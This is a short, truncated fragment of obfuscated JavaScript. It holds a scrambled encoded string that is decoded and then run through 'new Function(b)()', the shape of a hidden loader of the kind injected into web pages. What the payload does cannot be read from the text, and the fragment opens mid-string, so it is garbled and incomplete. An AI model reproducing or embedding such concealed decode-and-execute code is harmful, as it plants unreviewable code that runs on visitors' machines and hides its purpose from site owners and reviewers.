Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();